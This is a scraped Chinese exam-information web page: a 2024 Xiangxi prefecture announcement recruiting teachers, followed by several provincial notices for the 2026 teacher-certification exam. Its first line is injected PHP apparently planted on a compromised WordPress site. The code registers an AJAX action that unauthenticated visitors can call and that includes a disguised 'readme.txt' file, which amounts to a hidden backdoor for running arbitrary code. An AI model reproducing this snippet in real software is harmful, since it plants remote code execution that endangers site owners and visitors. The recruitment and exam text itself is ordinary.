if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南省湘西自治州教育类事业单位2024年公开引进高层次急需紧缺人才公告-全国教师资格考试网

湖南省湘西自治州教育类事业单位2024年公开引进高层次急需紧缺人才公告

  为深入推进新时代人才强州战略,吸引集聚更多优秀人才助推湘西州经济社会高质量发展,经中共湘西州委人才工作领导小组同意,决定在长沙地区举办专场招引活动,湘西自治州教育类事业单位面向社会公开引进高层次急需紧缺人才37名。现将有关事项公告如下:

  一、引进对象及条件

  (一)具有中华人民共和国国籍,享有公民的政治权利。

  (二)遵守中华人民共和国宪法和法律,具有良好的职业道德和能力素质。

  (三)热爱湘西,吃苦耐劳,有奉献精神。

  (四)具有岗位所需条件的普通高校硕士研究生及以上学历学位的应往届毕业生(部分特殊岗位最低学历可放宽至学士本科),详见岗位计划表(见相关附件)。

  (五)学士本科生年龄一般在30周岁以下(1994年1月1日后出生),硕士研究生年龄一般在35周岁以下(1989年1月1日后出生),博士研究生或具有高级专业技术职务的年龄一般在45周岁以下(1979年1月1日后出生)。部分岗位对年龄有进一步明确要求的以岗位计划表(见相关附件)标明的为准。

  其中研究生是指全日制研究生和根据教育部办公厅印发《关于统筹全日制和非全日制研究生管理工作的通知》(教研厅〔2016〕2号)规定的从2017年起通过全国统招的非全日制研究生。本次招引所设专业不区分专业硕士、博士和学术硕士、博士。

  面向2024年应届毕业生引进的岗位,报考人员须为通过全国统一的高考或研究生入学考试,在国内普通高等学校或承担研究生教育任务的科学研究机构就读,且就读期间个人档案保管在就读院校(或科研机构),于2024年7月31日前毕业的学生。2023年8月1日至2024年7月31日期间取得国(境)外学历(学位)的留学回国应届毕业生,未落实工作单位的,可以报考面向2024年应届毕业生引进的岗位。

  (六)符合引进岗位所需的相关要求。

  (七)身体健康,符合适应岗位要求的身体条件。

  有工作经历要求的,按实年计算,时间截止2024年3月31日。在全日制学校就读期间(至正式毕业前)参加社会实践、实习、兼职等经历,不视为工作经历。

  有下列情形之一的人员,不得参加报名:

  (一)曾因犯罪受过刑事处罚的人员或曾被开除公职的人员。

  (二)尚未解除党纪、政纪处分或正在接受组织调查的人员。

  (三)涉嫌违法犯罪正在接受司法调查尚未做出结论的人员。

  (四)在各级公务员或事业单位招考中被认定有舞弊等严重违纪行为尚在禁考期限内的人员。

  (五)被依法列为失信联合惩戒对象的人员。

  (六)现役军人。

  (七)原已取得学历达到最低学历要求,现在读全日制学历的人员(2024年应届毕业生可不受限制)。

  (八)定向委托培养的,以及按规定到定向工作单位未满服务期限的。

  (九)湘西州各级机关、事业单位和国有企业在职人员。

  (十)近5年报考湘西州高层次人才引进岗位未按照合同约定履职期满的人员。

  (十一)法律政策规定不得聘用的其他情形的人员。

  报考人员不得报考聘用后即构成《事业单位人事管理回避规定》(人社部规〔2019〕1号)第六条所列情形的职位。

  二、岗位计划及要求

  岗位信息详见《2024年湘西自治州教育类事业单位公开引进高层次急需紧缺人才岗位计划表》(附件1)。

  三、发布信息

  公开引进人才岗位相关信息通过湘西党建网、湘西自治州人力资源和社会保障局网、湘西州教育和体育局网等网站面向社会公开发布。

  四、引进程序

  (一)报名:采取网络预报名和现场确认相结合的方式进行。

  1.网络预报名:2024年3月20日上午9:00至3月26日下午17:00。报名期间,报考人员登录湘西自治州人力资源和社会保障局网(http://rsj.xxz.gov.cn/)、湘西党建网(http://www.xxzdjw.com/)“2024年湘西自治州事业单位公开引进高层次急需紧缺人才(长沙专场)报名服务平台”进行报名(对报考面向教育部直属公费师范生招引的岗位,考生也可于3月30日当天下午13:00前现场报名)。

  2.现场确认:网上预报名成功人员于3月30日上午9:00至13:00(超过13:00以后,不再接受确认),到湖南省人才发展集团有限公司大院(长沙市天心区青园路506号),携带本人有效身份证、学历学位证书原件和复印件(2024年应届高校毕业生还未取得的,可先持学校盖章毕业生就业推荐表或学校准许毕业的证明)、教育部学历证书电子注册备案表(2024年应届高校毕业生可提供教育部学籍在线验证报告)、报名平台下载打印本人的《湘西自治州公开引进高层次急需紧缺人才(长沙专场)报名表》、报考岗位所需的其他证书和相关证明等、近期二寸正面免冠彩照3张,进行网络预报名后的现场确认及资格审查。

  3.报名注意事项:

  (1)报考人员只能选报一个岗位(报考人员只能选报其中一个岗位(指本次湘西自治州州本级及凤凰县、古丈县、龙山县,所列长沙专场统筹引才的事业单位岗位)。

  (2)报考人员的学历、专业、年龄、资格证、工作经历等必须与所报考岗位要求的资格条件相符合,并对个人选报的岗位负责。

  (3)报名时,报考人员务必认真阅读招聘公告和岗位计划表并签订诚信考试承诺书,仔细对照所报岗位资格条件要求,诚信报考符合条件的岗位,真实、准确填写报考岗位和相应信息。如报考人员和有关单位提供的涉及报考资格的材料或信息不实,或报考人员恶意注册报名信息或伪造学历证书及其他相关证件证明,弄虚作假,则取消报考资格,由此造成的后果个人自行承担。

  (4)报考人员的学历(学位)必须为国家承认的学历(学位),填报专业应严格按照毕业证书所写专业完整准确填写。专业认定参考《2023年湖南省考试录用公务员专业指导目录》(附件3)。报考人员的所学专业未列入《2023年湖南省考试录用公务员专业指导目录》的,由相关招引单位按有关规定认定。

  (5)对尚未取得学历学位证书的2024年应届毕业生和留学回国的应届毕业生凭学校证明材料报名参考的,考生应于2024年7月31日前取得相应学历(学位)证书及报考岗位要求的其他证书原件,其中留学回国的应届毕业生还应于2024年8月31日前提供教育部留学服务中心出具的国(境)外学历学位认证证书。未在规定时间内取得有关证书的,视同放弃引进资格。

  (6)州外在职人员报考的需按人事管理权限提供所在单位及其主管部门同意报考的证明。

  (二)资格审查

  由招引单位对网络报名且现场确认的考生随即进行资格初审。资格审查贯穿公开引进全过程,报考人员须在报名时,真实准确填写个人信息,任何环节发现不符合报考条件或信息填写不实、提供虚假报考材料获取资格的,一经查实,取消引进资格。

  (三)考核

  1.开考比例。原则上招引岗位计划数与有效报考人数应达到1:3,达不到开考比例的,根据实际情况由招引单位提出意见报州公开引进高层次急需紧缺人才工作领导小组办公室同意,可降低开考比例、核减计划或取消引进计划。

  2.考核方式。现场资格初审合格的考生,均确定为参加考核的对象,考核采取结构化面试方式进行,总分100分,由引才组织实施方按程序组织开展。考核安排在3月31日进行,具体时间及地点另行通知。准考证领取时间及地点另行通知。

  达到开考比例的岗位,设置考核成绩合格分数线60分。如应聘同一岗位所有人员都未达到合格分数线,则取消该岗位引进计划。

  经批准降低开考比例开考,或实际参考人数未达到开考比例的,设置考核成绩合格线为70分,相关考生考核成绩未达到合格线及以上的,不再进入人才招引下一环节。

  对面向教育部直属公费师范生招引的岗位,根据《湖南省师范生公费教育实施办法》(湘教发〔2020〕41号)相关规定,于3月30日现场资格审查后采取双向选择方式确定进入下一环节对象。

  本次考核根据需要将对考生进行统一管理,如不服从安排,扰乱考试秩序的,将取消引进资格。

  (四)体检

  按照同一岗位计划引进人数,根据考核成绩(成绩计算保留到小数点后两位数字),从高分到低分等额确定体检对象。若出现成绩相同的,增加复试,复试于当天进行。如有体检不合格或自动放弃的,按该引进岗位的成绩从高分到低分依次递补(递补不超过两次)。体检参照《公务员录用体检通用标准(试行)》执行。

  (五)考察

  对体检合格对象的考察,由相关单位和主管部门按人事管理权限组织实施,如有考察不合格或自动放弃考察的,按该引进岗位的直接考核成绩从高分到低分依次递补1次进行体检和考察。

  (六)公示及聘用

  考察合格者经招考单位集体研究提出拟聘用人选,并经相关部门审查后,面向社会公示7个工作日。公示期满无异议的,按有关规定办理相关入职手续。

  五、纪律与监督

  公开引进急需紧缺人才工作坚持“公开、平等、竞争、择优”的原则,严格遵守干部人事工作纪律,严格履行工作程序,报名资格审查情况和考核、体检、聘用等结果进行公布公示,全程接受社会监督。

  (一)监督电话:

  中共湘西自治州纪委监委驻州教育和体育局纪检监察组:0743-8225413。

  (二)政策咨询电话:湘西自治州教育和体育局组织人事科:0743-8222797。

  六、政策待遇

  本次公告发布公开引进的高层次急需紧缺人才,除按照政策规定享受事业单位同类人员的薪酬福利待遇外,属州直事业单位的,同时按照《湘西自治州高层次人才引进管理办法》(附件4)享受相关政策待遇;属县直事业单位的,按照相关县人才引进政策待遇的规定执行。

  七、公开引进高层次急需紧缺人才相关工作安排将在湘西党建网、湘西自治州人力资源和社会保障局网、湘西州教育和体育局网公布,请密切关注。

  八、报考人员应准确填报个人联系方式,并在整个公开引进过程中保持通讯畅通,因个人通讯不畅造成的一切后果由本人自负。

  九、本公告未尽事宜由湘西自治州教育和体育局负责解释。

  附件:

  1.2024年湘西自治州教育类事业单位公开引进高层次急需紧缺人才岗位计划表;

  2.湘西自治州公开引进高层次急需紧缺人才(长沙专场)报名表;

  3.2023年湖南省考试录用公务员专业指导目录;

  4.湘西自治州高层次人才引进管理办法(节选)。

                                                             湘西自治州教育和体育局

                                                                                     2024年3月8日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部